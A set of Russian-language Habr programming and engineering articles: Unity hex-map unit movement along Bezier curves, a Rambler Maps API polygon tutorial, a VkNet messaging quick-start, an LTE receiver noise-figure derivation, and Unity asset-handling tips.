Отряд начинает своё путешествие с центра ячейки. Он проходит к середине ребра ячейки, после чего входит в следующую ячейку. Вместо того, чтобы двигаться к центру, он может направиться сразу к следующему ребру, которое должен пересечь. По сути, отряд будет срезать путь, когда ему нужно сменить направление. Это возможно для всех ячеек, кроме концевых точек пути.
*Три способа двигаться от ребра к ребру*
Давайте адаптируем `OnDrawGizmos` под отображение путей, сгенерированных таким образом. Он должен выполнять интерполяцию между рёбрами ячеек, которые можно найти усреднением позиций соседних ячеек. Нам достаточно вычислять по одному ребру на итерацию, повторно используя значение из предыдущей итерации. Таким образом мы сможем заставить работать способ и для начальной ячейки, только вместо ребра возьмём её позицию.
```
void OnDrawGizmos () {
if (pathToTravel == null || pathToTravel.Count == 0) {
return;
}
Vector3 a, b = pathToTravel[0].Position;
for (int i = 1; i < pathToTravel.Count; i++) {
// Vector3 a = pathToTravel[i - 1].Position;
// Vector3 b = pathToTravel[i].Position;
a = b;
b = (pathToTravel[i - 1].Position + pathToTravel[i].Position) * 0.5f;
for (float t = 0f; t < 1f; t += 0.1f) {
Gizmos.DrawSphere(Vector3.Lerp(a, b, t), 2f);
}
}
}
```
Чтобы достичь центра конечной ячейки, нам нужно использовать в качестве последней точки позицию ячейки, а не ребро. Можно добавить проверку этого случая в цикл, но это такой простой код, что нагляднее будет просто дублировать код и немного изменить его.
```
void OnDrawGizmos () {
…
for (int i = 1; i < pathToTravel.Count; i++) {
…
}
a = b;
b = pathToTravel[pathToTravel.Count - 1].Position;
for (float t = 0f; t < 1f; t += 0.1f) {
Gizmos.DrawSphere(Vector3.Lerp(a, b, t), 2f);
}
}
```
*Пути на основе рёбер*
Получающиеся пути меньше походят на зигзаги, а максимальный угол поворота снижается с 120° до 90°. Это можно считать улучшением, поэтому применим те же изменения в корутине `TravelPath`, чтобы посмотреть, как это выглядит в анимации.
```
IEnumerator TravelPath () {
Vector3 a, b = pathToTravel[0].Position;
for (int i = 1; i < pathToTravel.Count; i++) {
// Vector3 a = pathToTravel[i - 1].Position;
// Vector3 b = pathToTravel[i].Position;
a = b;
b = (pathToTravel[i - 1].Position + pathToTravel[i].Position) * 0.5f;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Vector3.Lerp(a, b, t);
yield return null;
}
}
a = b;
b = pathToTravel[pathToTravel.Count - 1].Position;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Vector3.Lerp(a, b, t);
yield return null;
}
}
```
*Перемещение с изменяющейся скоростью*
После срезания углов длина сегментов пути стала зависимой от изменения направления. Но мы задали скорость в ячейках в секунду. В результате скорость отряда меняется хаотически.
### Следование по кривым
Мгновенное изменение направления и скорости при пересечении границ ячеек выглядит некрасиво. Лучше использовать постепенное изменение направления. Мы можем добавить поддержку этого, заставив отряды следовать по кривым, а не по прямым линиям. Для этого можно использовать кривые Безье. В частности, можно взять квадратичные кривые Безье, в которых средними контрольными точками будут центры ячеек. При этом касательные соседних кривых будут зеркальными отражениями друг друга, то есть весь путь превратится в непрерывную плавную кривую.
*Кривые от ребра до ребра*
Создадим вспомогательный класс `Bezier` с методом для получения точки на квадратичной кривой Безье. Как объяснено в туториале [Curves and Splines](https://catlikecoding.com/unity/tutorials/curves-and-splines/), для этого используется формула , где ,  и  — это контрольные точки, а t — интерполятор.
```
using UnityEngine;
public static class Bezier {
public static Vector3 GetPoint (Vector3 a, Vector3 b, Vector3 c, float t) {
float r = 1f - t;
return r * r * a + 2f * r * t * b + t * t * c;
}
}
```
**Разве GetPoint не должен ограничиваться в интервале 0-1?**
Так как мы используем интерполяторы только в интервале 0-1, нам необязательно их ограничивать. На практике при интерполяции по кривым такое происходит почти всегда. Если хотите, можете создать версию `GetPointClamped`, которая содержит параметр `t`. Или сделать его поведением по умолчанию, а приведённый выше метод назвать `GetPointUnclamped`.
Чтобы показать кривой путь в `OnDrawGizmos`, нам нужно отслеживать не две, а три точки. Дополнительная точка — это центр ячейки, с которой мы работаем на текущей итерации, имеющая индекс `i - 1`, потому что цикл начинается с 1. Получив все точки, мы можем заменить `Vector3.Lerp` на `Bezier.GetPoint`.
В начальной и конечной ячейках вместо конечной и средней точки мы можем просто использовать центр ячейки.
```
void OnDrawGizmos () {
if (pathToTravel == null || pathToTravel.Count == 0) {
return;
}
Vector3 a, b, c = pathToTravel[0].Position;
for (int i = 1; i < pathToTravel.Count; i++) {
a = c;
b = pathToTravel[i - 1].Position;
c = (b + pathToTravel[i].Position) * 0.5f;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
Gizmos.DrawSphere(Bezier.GetPoint(a, b, c, t), 2f);
}
}
a = c;
b = pathToTravel[pathToTravel.Count - 1].Position;
c = b;
for (float t = 0f; t < 1f; t += 0.1f) {
Gizmos.DrawSphere(Bezier.GetPoint(a, b, c, t), 2f);
}
}
```
*Пути, созданные с помощью кривых Безье*
Кривой путь выглядит намного лучше. Применим те же изменения в `TravelPath` и посмотрим, как анимируются отряды при таком подходе.
```
IEnumerator TravelPath () {
Vector3 a, b, c = pathToTravel[0].Position;
for (int i = 1; i < pathToTravel.Count; i++) {
a = c;
b = pathToTravel[i - 1].Position;
c = (b + pathToTravel[i].Position) * 0.5f;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Bezier.GetPoint(a, b, c, t);
yield return null;
}
}
a = c;
b = pathToTravel[pathToTravel.Count - 1].Position;
c = b;
for (float t = 0f; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Bezier.GetPoint(a, b, c, t);
yield return null;
}
}
```
*Перемещаемся по кривым*
Анимация тоже стала плавной, даже когда скорость отряда непостоянна. Так как касательные кривой соседних сегментов совпадают, скорость непрерывна. Изменение скорости происходит постепенно и случается, когда отряд проходит через ячейку, замедляясь при смене направления. Если он идёт прямо, то скорость остаётся постоянной. Кроме того, отряд начинает и заканчивает свой путь с нулевой скоростью. Это имитирует естественное движение, поэтому оставим его таким.
### Отслеживание времени
До этого момента мы начинали итерацию по каждому из сегментов с 0, продолжая, пока не достигнем 1. Это работает нормально при увеличении на постоянную величину, но наша итерация зависит от дельты времени. Когда итерация по одному сегменту завершается, мы скорее всего превзойдём 1 на какую-то величину, зависящую от дельты времени. Это незаметно при высокой частоте кадров, но может привести к рывкам при низкой частоте кадров.
Чтобы избежать потерь времени, нам нужно передавать оставшееся время от одного сегмента к следующему. Это можно сделать, отслеживая `t` на протяжении всего пути, а не только в каждом сегменте. Затем в конце каждого сегмента будем вычитать из него 1.
```
IEnumerator TravelPath () {
Vector3 a, b, c = pathToTravel[0].Position;
float t = 0f;
for (int i = 1; i < pathToTravel.Count; i++) {
a = c;
b = pathToTravel[i - 1].Position;
c = (b + pathToTravel[i].Position) * 0.5f;
for (; t < 1f; t += Time.deltaTime * travelSpeed) {
transform.localPosition = Bezier.GetPoint(a, b, c, t);
yield return null;
}
t -= 1f;
}
a = c;
b = pathToTravel[pathToTravel.Count - 1].Position;
c = b;
for (; t < 1f; t += Time.deltaTime * traveSpeed) {
transform.localPosition = Bezier.GetPoint(a, b, c, t);
yield return null;
}
}
```
Если уж мы этим занялись, давайте ещё сделаем так, чтобы дельта времени учитывалась в начале пути. Это значит, что мы начнём двигаться сразу же, а не будем простаивать один кадр.
```
float t = Time.deltaTime * travelSpeed;
```
Кроме того, мы заканчиваем не точно в момент времени, когда должен закончиться путь, а за мгновения до этого. Здесь разница также может зависеть от частоты кадров. Поэтому давайте сделаем так, чтобы отряд завершал путь ровно в конечной точке.
```
IEnumerator TravelPath () {
…
transform.localPosition = location.Position;
}
```
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-19/flowing-movement/flowing-movement.unitypackage)
Анимация ориентации
-------------------
Отряды начали двигаться по плавной кривой, но они не меняют ориентацию в соответствии с направлением движения. В результате кажется, что они скользят. Чтобы перемещение выглядело как настоящее движение, нам нужно их поворачивать.
### Смотрим вперёд
Как и в туториале [Curves and Splines](https://catlikecoding.com/unity/tutorials/curves-and-splines/), для определения ориентации отряда мы можем использовать производную кривой. Формула производной квадратичной кривой Безье: . Добавим в `Bezier` метод для её вычисления.
```
public static Vector3 GetDerivative (
Vector3 a, Vector3 b, Vector3 c, float t
) {
return 2f * ((1f - t) * (b - a) + t * (c - b));
}
```
Вектор производной расположен на одной прямой с направлением движения. Мы можем использовать метод `Quaternion.LookRotation`, чтобы преобразовать его в поворот отряда. Будем выполнять это на каждом шагу в `HexUnit.TravelPath`.
```
transform.localPosition = Bezier.GetPoint(a, b, c, t);
Vector3 d = Bezier.GetDerivative(a, b, c, t);
transform.localRotation = Quaternion.LookRotation(d);
yield return null;
…
transform.localPosition = Bezier.GetPoint(a, b, c, t);
Vector3 d = Bezier.GetDerivative(a, b, c, t);
transform.localRotation = Quaternion.LookRotation(d);
yield return null;
```
**Разве в начале пути не возникнет ошибка?**
Путь начинается с кривой, идущей от центра начальной ячейки до её ребра. Мы сделали точки  и  кривой равными, поэтому получим красивое ускорение. Однако это значит, что когда , то вектор производной равен нулю, а его нельзя использовать в `Quaternion.LookRotation`. Поэтому да, такой подход не сработает, если мы начинаем с  для первого сегмента. Но мы и не будем. Мы сразу же начинаем с дельты времени, поэтому  и способ всегда работает.
То же самое относится и к концу получившейся кривой, потому что мы присваиваем .
В отличие от позиции отряда, неидеальность его ориентации в конце пути не важна. однако нам нужно гарантировать, что его ориентация соответствует окончательному повороту. Для этого после завершения приравняем его ориентацию к его повороту по Y.
```
transform.localPosition = location.Position;
orientation = transform.localRotation.eulerAngles.y;
```
Теперь отряды смотрят точно в направлении движения, и по горизонтали, и по вертикали. Это значит, что они будут наклоняться вперёд и назад, спускаясь со склонов и поднимаясь на них. Чтобы они всегда стояли прямо, принудительно обнулим компонент Y вектора направления перед его использованием для определения поворота отряда.
```
Vector3 d = Bezier.GetDerivative(a, b, c, t);
d.y = 0f;
transform.localRotation = Quaternion.LookRotation(d);
…
Vector3 d = Bezier.GetDerivative(a, b, c, t);
d.y = 0f;
transform.localRotation = Quaternion.LookRotation(d);
```
*Смотрим вперёд при движении*
### Смотрим на точку
На протяжении всего пути отряды смотрят вперёд, но перед началом движения они могут смотреть в другом направлении. В таком случае они мгновенно меняют свою ориентацию. Будет лучше, если они будут поворачиваться в направлении пути ещё до начала движения.
Взгляд в нужном направлении может быть полезен и в других ситуациях, поэтому давайте создадим метод `LookAt`, заставляющий отряд менять ориентацию, чтобы посмотреть на определённую точку. Требуемый поворот можно задать с помощью метода `Transform.LookAt`, сделав сначала так, чтобы точка находилась в той же вертикальной позиции, что и отряд. После этого мы можем извлечь ориентацию отряда.
```
void LookAt (Vector3 point) {
point.y = transform.localPosition.y;
transform.LookAt(point);
orientation = transform.localRotation.eulerAngles.y;
}
```
Чтобы отряд на самом деле поворачивался, мы превратим метод в ещё одну корутину, которая будет вращать его с постоянной скоростью. Скорость поворота тоже может быть настраиваемой, но мы снова воспользуемся константой. Поворот должен быть быстрым, примерно 180° в секунду.
```
const float rotationSpeed = 180f;
…
IEnumerator LookAt (Vector3 point) {
…
}
```
Возиться с ускорением поворота необязательно, потому что оно незаметно. Нам достаточно будет просто выполнить интерполяцию между двумя ориентациями. К сожалению, это сделать не так просто, как в случае с двумя числами, потому что углы круговые. Например, переход из 350° в 10° должен привести к повороту на 20° по часовой стрелке, но простая интерполяция заставит выполнить поворот на 340° против часовой стрелки.
Проще всего создать правильный поворот, выполняя интерполяцию между двумя кватернионами с помощью сферической интерполяции. Это приведёт к самому краткому повороту. Чтобы сделать это, получим кватернионы начала и конца, а потом выполним между ними переход с помощью `Quaternion.Slerp`.
```
IEnumerator LookAt (Vector3 point) {
point.y = transform.localPosition.y;
Quaternion fromRotation = transform.localRotation;
Quaternion toRotation =
Quaternion.LookRotation(point - transform.localPosition);
for (float t = Time.deltaTime; t < 1f; t += Time.deltaTime) {
transform.localRotation =
Quaternion.Slerp(fromRotation, toRotation, t);
yield return null;
}
transform.LookAt(point);
orientation = transform.localRotation.eulerAngles.y;
}
```
Это сработает, но интерполяция всегда идёт от 0 до 1, вне зависимости от угла поворота. Чтобы обеспечить равномерную угловую скорость, нам нужно замедлять интерполяцию при увеличении угла поворота.
```
Quaternion fromRotation = transform.localRotation;
Quaternion toRotation =
Quaternion.LookRotation(point - transform.localPosition);
float angle = Quaternion.Angle(fromRotation, toRotation);
float speed = rotationSpeed / angle;
for (
float t = Time.deltaTime * speed;
t < 1f;
t += Time.deltaTime * speed
) {
transform.localRotation =
Quaternion.Slerp(fromRotation, toRotation, t);
yield return null;
}
```
Зная угол, мы можем полностью пропустить поворот, если он оказывается нулевым.
```
float angle = Quaternion.Angle(fromRotation, toRotation);
if (angle > 0f) {
float speed = rotationSpeed / angle;
for (
…
) {
…
}
}
```
Теперь мы можем добавить поворот отряда в `TravelPath`, просто выполняя перед перемещением yield `LookAt` с позицией второй ячейки. Unity будет автоматически запускать корутину `LookAt`, а `TravelPath` будет ждать её завершения.
```
IEnumerator TravelPath () {
Vector3 a, b, c = pathToTravel[0].Position;
yield return LookAt(pathToTravel[1].Position);
float t = Time.deltaTime * travelSpeed;
…
}
```
Если проверить работу кода, то отряд телепортируется в конечную ячейку, повернётся там, а затем телепортируется обратно к началу пути и начнёт оттуда движение. Так происходит, потому что мы присваиваем значение свойству `Location` до начала корутины `TravelPath`. Чтобы избавиться от телепортации, мы можем в начале `TravelPath` возвращать позицию отряда в начальную ячейку.
```
Vector3 a, b, c = pathToTravel[0].Position;
transform.localPosition = c;
yield return LookAt(pathToTravel[1].Position);
```
*Поворот перед движением*
### Подчистка
Получив нужное нам движение, мы можем избавиться от метода `OnDrawGizmos`. Удалите его или закомментируйте на случай, если нам потребуется в будущем видеть пути.
```
// void OnDrawGizmos () {
// …
// }
```
Так как нам больше не нужно запоминать, по какому пути мы двигались, то в конце `TravelPath` можно освобождать список ячеек.
```
IEnumerator TravelPath () {
…
ListPool.Add(pathToTravel);
pathToTravel = null;
}
```
**А как насчёт настоящих анимаций отрядов?**
Так как в качестве отряда я использую простой куб, анимировать нам нечего. Но при использовании 3D-моделей для реалистичности движений нужно создать им анимации. Анимации не обязаны быть очень сложными. Для мелких отрядов стратегических игр достаточно простейших эффектов, например анимации ожидания и движения. Для смешения между ними нужно использовать Mecanim, а управлять анимациями через `TravelPath`.
[unitypackage](https://catlikecoding.com/unity/tutorials/hex-map/part-19/animating-orientation/animating-orientation.unitypackage) | https://habr.com/ru/post/426481/ | null | ru | null |
# Геометрические объекты и балуны в Рамблер-Картах
Те, кто уже пользовался API карт других разработчиков, думаю, без труда разберутся и с API Рамблер-Карт. Набор классов и методов достаточно стандартный и очевидный.
Документацию можно найти тут: <http://maps.rambler.ru/api/docs>.
Чтобы на примере разобраться с тем, как придавать геометрическим объектам внешний вид, отличный от дефолтного, решим простую задачку. Создадим карту древних областей Москвы, чтобы при наведении курсора на ту или иную область она выделялась цветным многоугольником, а при левом клике открывался балун с небольшой информацией о ней.
1. Создаём карту. Это просто: задаём параметры контейнера
```
```
… и помещаем в него карту map — экземпляр класса RMap.
```
//создаём карту, задаём координаты её центра и масштаб
var map = new RMap('myMap', {
//координаты центра Москвы
center: {"lon":37.62074982031279,"lat":55.75337144909794} ,
zoom: 13, // подбираем подходящий масштаб
styles: {
//выключаем отображение меток
Marker: {style: {display: "none"}}
},
//dragging: false, отключаем возможность перетаскивания карты...
//zooming: false, и изменения масштаба: вся функциональность сосредоточена на одном участке
widgets: false, //отключаем за ненадобностью виджеты
controls: false //и элементы управления
});
// задаём внешний вид балуна
var balloonStyle = {
arrowAngle: -30,
arrowLength: 20,
arrowWidth: 20,
backgroundColor: "#00f",
backgroundOpacity: 0.75,
bindIndex: 3,
bindPlace: "50%",
borderColor: "white",
borderOpacity: 0,
borderSize: 0,
padding: "10px"
};
// и шаблон для отображения содержимого
var balloonTmpl = '**${name}** ${desc}
';
```
2. Теперь создадим переменную areas с информацией об областях, их границах (точках для построения многоугольников) и цвете отображения на карте: красный — Кремль, жёлтый — Китай-город, белый — Белый город и коричневый — Земляной город. Для экономии пространства сейчас опишем только Кремль, а полный пример можно найти в конце статьи.
```
//список исторических областей Москвы
var areas = {
//Кремль
kremlin: {
name: "Кремль",
desc: "— древнейшая часть Москвы, и т.д. и т.п.",
background: "#FF0000",
points: [
{"lon":37.61318805816646,"lat":55.74786393721869},
{"lon":37.611128121643006,"lat":55.74931626156693},
{"lon":37.616106301574696,"lat":55.75614145874745},
{"lon":37.62232902648932,"lat":55.7526806043867},
{"lon":37.62374523284919,"lat":55.749606719921196},
{"lon":37.6174366772461,"lat":55.74895318557001}
]
},
… //остальные области описываются аналогичным образом
};
```
3. Далее создадим функцию, которая будет менять внешний вид многоугольника области с прозрачностью 0.15 на полностью видимый (прозрачность = 0.5) и обратно. Для этого используем метод setView класса Polygon.
```
//создаём функцию для отображения или скрытия многоугольника
function toggle(area, doShow) {
//если на области открыт балун, то ничего не делаем
if(area.hasBalloon)
return;
//иначе функция изменяет прозрачность нужного многоугольника
area.polygon.setView({
style: {
backgroundOpacity: doShow ? 0.5 : 0.15
}
});
};
//функции-помощницы
function show(area) {
toggle(area, true);
}
function hide(area) {
toggle(area, false);
}
```
4. Далее создаём функцию отображения областей. Она создаёт многоугольники и добавляет к ним обработчики, которые будут изменять их прозрачность многоугольника при наведении на него курсора, а при отводе — возвращать его в исходное состояние (невидимый). Щелчок мышью по многоугольнику будет открывать информационное окно (т.н. балун) в месте клика. Содержимое балуна и само его появление зависят от места, где был произведён щелчок мышкой: если ткнуть вне многоугольников, ничего не должно происходить.
```
//обрабатываем все области по очереди
for(var k in areas) {
prepareArea(areas[k]);
}
function prepareArea(area) {
//создаём многоугольник для отображения нужной области
area.polygon = map.geometry.create("polygon", {
points: area.points,
style: {
lineWidth: 0, //отключаем отображение границ
background: area.background, //устанавливаем нужный цвет многоугольнику
backgroundOpacity: 0 //по умолчанию область невидима
}
}, true);
//устанавливаем обработчики на наведение/отведение курсора
area.polygon.on('mouseover', function(evt) {
show(area);
});
area.polygon.on('mouseout', function(evt) {
hide(area);
});
//обработчик клика — открывается балун
area.polygon.on('lclick', function(evt){
//убираем всё лишнее
map.geometry.remove("marker");
for(var k in areas)
areas[k].hasBalloon = false;
//скрываем все области, кроме нужной
for(var k in areas)
if(areas[k] !== area)
hide(areas[k]);
//открываем балун в точке щелчка мыши (функцию showBalloon объявим чуть ниже)
showBalloon(area, {
x: evt.x,
y: evt.y
});
});
// устанавливаем изначальное положение балуна
if(area.balloonAt)
showBalloon(area, area.balloonAt);
}
```
5. И — вуаля: функция, открывающая балун.
```
function showBalloon(area, crd) {
//создаём метку
var mrkr = map.geometry.create("marker", {
coord: map.makeCoord(crd)
}, true);
//добавляем к ней балун
mrkr.addBalloon({
style: balloonStyle,
closeButton: true,
content: {
name: area.name,
desc: area.desc
},
template: balloonTmpl
}, true);
//обработчик события при закрытии балуна — скрываем все области
mrkr.balloon.on('hide', function(evt) {
area.hasBalloon = false;
for(var k in areas)
hide(areas[k]);
});
show(area);
area.hasBalloon = true;
}
```
Посмотреть на результат и исследовать полный исходный код можно [здесь](http://maps.rambler.ru/api/examples/TutorialPolygonBalloon.html). | https://habr.com/ru/post/149258/ | null | ru | null |
# Начало дружбы с VkNet
 Я много дружу с библиотекой [VkNet](https://vknet.github.io/vk/). Но, к сожалению, документация по работе с ней достаточно устарела. Так что я решил поделиться и создать маленький туториал по основам работы с этой библиотекой.
Прежде всего нужно создать приложение [здесь](https://vk.com/apps?act=manage).
И из настроек только что созданного приложения взять App Id.
Теперь можно переходить непосредсвенно к коду.
Создадим консольное приложения .net core и добавим зависимость [VkNet](https://www.nuget.org/packages/VkNet/).
Создадим экземпляр VkApi.
```
VkApi api = new VkApi();
```
Теперь необходимо авторизоваться.
```
api.Authorize(new ApiAuthParams()
{
Login = "+79*******",
Password = "***",
ApplicationId = 684***,
Settings = Settings.All
});
```
Получим список из 20 последних диалогов
```
var dialogs = api.Messages.GetConversations(new GetConversationsParams());
```
А теперь получим 20 последних сообщений из первого диалога.
```
var messages = api.Messages.GetHistory(new MessagesGetHistoryParams()
{PeerId = dialogs.Items[0].Conversation.Peer.Id});
```
И, пожалуй, напечатаем результаты.
```
foreach (var msg in messages.Messages)
{
Console.WriteLine(msg.Text);
}
```
И отправим тестовое сообщение автору первого предыдущего сообщения.
```
api.Messages.Send(new MessagesSendParams()
{
// ну или подставить сюда ид из диалога
PeerId = messages.Messages.First().Id,
Message = "Test",
RandomId = new Random().Next()
});
```
Как пример:
И вот такой конечный код мы получили
**тут**
```
VkApi api = new VkApi();
api.Authorize(new ApiAuthParams()
{
Login = "*",
Password = "*",
ApplicationId = *,
Settings = Settings.All
});
var dialogs = api.Messages.GetConversations(new GetConversationsParams());
var messages = api.Messages.GetHistory(new MessagesGetHistoryParams()
{PeerId = dialogs.Items[0].Conversation.Peer.Id});
Console.OutputEncoding = Encoding.UTF8;
foreach (var msg in messages.Messages)
{
Console.WriteLine(msg.Text);
}
api.Messages.Send(new MessagesSendParams()
{
PeerId = messages.Messages.First().Id,
Message = "Test",
RandomId = new Random().Next()
});
```
P.S.
Поддержку можно найти [тут](https://t.me/VkDotNet).
Или актуальная ссылка на [тг](https://t-do.ru/VkDotNet), для тех у кого обычные ссылки не открываюся. | https://habr.com/ru/post/438874/ | null | ru | null |
# Инженерные требования к радио-тракту станции сотовой связи
Когда приходишь к радиоинженеру с просьбой что-то спроектировать, он задает вопрос: какие нужны параметры? Основные параметры, которые его интересуют:
* коэффициент шума приемника;
* мощность передатчика;
* линейность приемного тракта (IP1, IP3);
* линейность передатчика (ACLR);
* другие очень важные параметры, которых довольно много, не будем перечислять.
В сфере сотовой связи, казалось бы, ничего такого выдумывать не надо, там уже все должно быть написано в спецификациях.
Спецификациями для сотовой связи занимаются международные организации, в числе которых значится [ETSI](https://www.etsi.org/), Европейский институт телекоммуникационных стандартов. Нам нужны требования к радиооборудованию базовой станции, например, 4G или LTE. Находим документ [TS 136 104](https://www.etsi.org/deliver/etsi_ts/136100_136199/136104/14.03.00_60/ts_136104v140300p.pdf). Есть много версий документа, нам для примера подойдет любая. Спецификация старая, уже мала вероятность изменений сути вопроса.
Берем первый параметр ["коэффициент шума приемника"](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%8D%D1%84%D1%84%D0%B8%D1%86%D0%B8%D0%B5%D0%BD%D1%82_%D1%88%D1%83%D0%BC%D0%B0). Ищем в спецификации что-то похожее. Находим "**reference sensitivity level**". Все понятно, это **чувствительность**. Берем для примера таблицу 7.2.1-1 для Wide Area BS (БС с широким охватом территории).
Глаз сначала цепляется за знакомое. "dBm" - дицебеллы к миливатту в правой колонке. "MHz" - мегагерцы в левой. Но дальше мозг радиоинженера приходит в замешательство. Мало того, что в таблице есть какая-то средняя колонка, так еще и уровень чувствительности не зависит от полосы. Все дело в средней колонке.
Как указано в средней колонке, переходим к Annex A.1. А пока мы неспеша переходим, посчитаем число вхождений в спецификацию фразы "REFSENSE", чтобы составить представление о важности искомого параметра. Их (вхождений) более четырехсот. ~~(400+, Карл!)~~ Важный параметр, от него зависит множество других.
Согласно тексту, в таблице A.1-1 представлены параметры какого-то канала "reference measurement channel" используемого для измерения чувствительности. Час от часу не легче! Одно радует: стало понятно, почему чувствительность не зависит от полосы в таблице 7.2.1-1. Пресловутый сигнал A1-3 нормирован по полосе, она равна 25 resource block или 5 МГц. А в Note 1 к таблице 7.2.1-1 сказано:
*PREFSENS is the power level of a single instance of the reference measurement channel. This requirement shall be met for each consecutive application of a single instance of FRC A1-3 mapped to disjoint frequency ranges with a width of 25 resource blocks each.*
что, вкратце, значит, что нам нужно учитывать шум только в полосе 5 МГц, независимо от полосы в левой колонке таблицы 7.2.1-1.
Так что же мы должны сделать с этим A1-3? В пункте 7.2.1 перед таблицей 7.2.1-1 написано:
*the throughput shall be ≥ 95% of the maximum throughput of the reference measurement channel as specified in Annex A,*
что, очевидно, значит, что мы должны подавать на вход приемника **фреймы формата A1-3** и не должны терять более **пяти процентов** пропускной способности. Что бы это ни значило!
Таким образом, требование к коэффициенту шума (максимальный возможный Кш для удовлетворения требованиям) можно выразить так:
Первое слагаемое - тепловой шум. Второе - поправка на полосу 5 МГц. Далее следуют уровень чувствительности (-101.5dBm) и поправка на SNR нашего тестового потока фреймов A1-3. Ну и откуда же нам взять это последнее слагаемое? Если оно равно нулю, то получается 174 - 67 - 101.5 = 5.5 дБ будет ограничением на коэффициент шума системы.
Но если этот SNR A1-3 сильно отличается от нуля, то мы можем сделать ошибку и затребовать от радиоинженера тракт либо с недостаточной чувствительностью, что скажется на дальности связи, либо с избытком чувствительности, что скажется на линейности тракта.
Мы не сдаемся, берем Гугль и ищем, что же такое A1-3 и как определить этот SNR при пропускной способности 95 процентов.
К счастью, Матлаб приходит нам на помощь. В нем есть LTE Toolbox. В нем есть тест PUSCH Throughput Conformance Test, с [описанием](https://www.mathworks.com/help/lte/ug/pusch-throughput-conformance-test.html). Там упоминается и наша спецификация TS 36.104. Говорится, что пример демонстрирует, как строится тест на соответствие. И дальше много матерных слов, типа HARQ, EPA, SC-FDMA, MMSE и т.д. Выходит, что тест делает именно то, что нам нужно: гонит фреймы заданного формата, в том числе A1-3, через заданный канал и читает пропускную способность в условиях работы всех процедур стека LTE. И все это не вставая из-за стола.
Что же нам нужно запатчить, чтобы тест показал нам требуемый SNR? Для начала в коде задается число фреймов для моделирования и исследуемый диапазон значений SNR.
```
NFrames = 100; % Number of frames to simulate at each SNR
SNRIn = [-6.0:0.1:2.0]; % SNR points to simulate
```
Я задал такие. При таких значениях тест отрабатывает очень медленно. Вы можете сузить диапазон SNR согласно графика ниже, чтобы не ждать, но увидеть, как пропускная способность переходит границу 95 процентов.
Дальше задаются параметры абонентского оборудования (UE, User Equipment). Среди них находится наш "подсудимый" под именем RC (Radio Configuration):
```
ue.RC = 'A1-3'; % FRC number
```
Смело меняем его на A1-3. На остальные параметры смелости не хватает, оставим так. Далее следуют секции конфигурации модели распространения и тонкости приемника, которые тоже страшно менять без царя в голове. Да и зачем нам канал? Мы же тестируем радио-оборудование, подключаемся разъемом к приемнику базовой станции. Надо канал убрать.
Находим в коде упоминание канала. И смело удаляем его из пути сигнала самым кощунственным образом:
```
% Pass data through channel model
rxWaveform = txWaveform;
%rxWaveform = lteFadingChannel(chcfg, txWaveform);
```
Программа долго работает и выдает график. Мой компьютер потрудился для вас и построил этот график:
Определяем по графику, что пропускная способность достигает 95 процентов при SNR, равном примерно -0.5 дБ. Тогда выражение для NF принимает вид:
![]()
Это значит, что коэффициент шума приемника не должен быть хуже (больше), чем 6 дБ. Тогда система, построенная радиоинженером (незнающим, что такое A1-3) будет удовлетворять требованиям спецификации по **чувствительности приемника**.
И да сольются два мира: мир инженерный и мир спецификаций! И да выйдет из этого соития оборудование ТОРП и да пойдет оно по России и по свету всему ~~аки по суху~~!
PS
Шутки шутками, но я немного сомневаюсь в расчетах. Прошу проверить и указать на ошибки, если найдете. | https://habr.com/ru/post/587786/ | null | ru | null |
# Unity «Best» Practices
Эта статья родилась из внутреннего доклада для коллег, которые уже достаточно давно занимаются разработкой игр, но только недавно прикоснулись к Unity. Здесь мы собрали фишки и особенности работы с этим игровым движком разной степени капитанскости, почерпнутые из собственного опыта, которые стоит знать, чтобы эффективно им пользоваться и уже никогда ничему не удивляться.
Что такое AssetPostprocessor и чем Animation отличается от Animator? Почему не стоит доверять OnTriggerExit и зачем вам CanvasGroup? Чем хорош GameObject.Find и как вас спасут Property?
Далее в статье обсудим это, а также другие «особенности» работы с движком Unity.
И первое, с чего хотелось бы начать: **не обновляйте Unity** **без крайней необходимости**! Всё обязательно сломается. Если вы не решаете этим какую-то важную проблему — просто оставьте его в покое и не обновляйте.
### Ассеты
**1.1**. Самый первый момент при работе с Unity: нужно настроить сериализацию ассетов и префабов в текстовом виде для **Git** и добавить в игнор всякие системные директории, которые полезны Unity, но не нужны в репозитории. Под нож идут Library, Temp, Logs и obj. Как настроить, чтобы у нас была не бинарная сериализация, а текстовая, показано на скриншоте ниже:
К сожалению, из-за текстовой сериализации ассетов в YAML мёржить будет всё равно больно, но хотя бы репа весить будет меньше.
**1.2.** **Не используйте папку Resources**. К сожалению, этому никто не следует, в том числе потому что сама Unity этого не делает. Хотя она пропагандирует использование Asset Bundles, все равно есть такие инструменты, как TextMeshPro, которые будут это игнорировать и использовать папку Resources.
Всё, что находится в этой папке, попадает в билд вне зависимости от того, используете вы эти ассеты или нет. Так в билд обычно прилетает много мусора: старых или тестовых ассетов. Всё это занимает лишнее место и увеличивает размер билда. А если вы где-то в бандлах ссылаетесь на эти ассеты, у вас появятся дубли. Словом, возникает немало проблем, так что если у вас есть возможность от нее отказаться, откажитесь.
**1.3.** Класс **AssetPostprocessor** — очень полезная вещь для автоматизации обработки ассетов, но ей мало кто пользуется. Он позволяет при закидывании новых ассетов в Unity как-то их перемолоть: выставить правильные настройки, создать заранее какие-то компоненты, пресеты — методов у него много. На скриншоте пример, как он работает с Game Objects:
Таким образом, при помощи AssetPostprocessor можно упростить работу с ассетами.
**1.4.** **Важно следить за размером и компрессией текстур**. Особенно если вы отдаете работу с текстурными ассетами художникам, в какой-то момент вы можете обнаружить, что и маленькие иконки оружия у вас размером 2048х2048px, и компрессия не настроена или настроена как попало, и атласов нет. AssetPostprocessor может помочь такие вещи найти и заалертить или автоматизировать. Компрессию и формирование атласов тоже можно делать автоматически — по группам объектов, директориям или как-либо еще.
Также стоит обратить внимание на класс **AssetImporter**, позволяющий создавать свои типы ассетов по расширению файлов.
